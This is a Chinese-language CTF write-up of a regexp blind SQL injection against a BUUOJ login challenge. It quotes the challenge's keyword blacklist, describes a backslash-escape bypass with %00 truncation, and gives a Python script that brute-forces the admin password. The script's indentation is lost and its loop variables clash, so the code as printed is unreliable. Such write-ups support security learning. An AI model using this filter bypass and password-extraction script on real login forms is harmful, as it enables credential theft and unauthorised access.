regexp注入
字符型注入无法闭合passwd
被过滤了
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";If $_POST['passwd'] === admin's password,Then you will get the flag;
要求我们找到 admin 的登录密码就可以得到flag
这里我们提交 username = \ , passwd = ||
查询语句就会变成
select * from users where username='\' and passwd='||/**/passwd/**/regexp/**/\"^a\";%00'
这里的 ‘ and passwd= 就会变成我们提交的用户名
而 密码 || (手动内敛注释regexp)(手动内敛注释 “^a”;%00 ) 使其变成了 数字型注入 ,也就是没有了单引号
;%00 在url中也是注释的意思
这里猜测 paasswd 和 username 在同一张表中
import requests
from urllib import parse
import string
import time
str1 = string.ascii_letters + '_' + string.digits #生成所有字母数字
url = 'http://a35d4c57-6f76-4515-88f6-6ff09a83ad4a.node3.buuoj.cn/index.php'
flag = '79' #这里79是regexp爆破出passwd开头为'y'
a = parse.unquote('%00') #url字符解码
for i in range(50):
for i in str1:
data = {
"username" : "\\",
"passwd" : "||passwd/**/regexp/**/0x" + flag + hex(ord(i)).replace('0x','') + ";" + a
} #这里有点东西
r = requests.post(url=url,data=data)
if 'welcome.php' in r.text:
flag += hex(ord(i)).replace('0x','')
print(flag)
break
time.sleep(0.5)
生成passwd登录就可
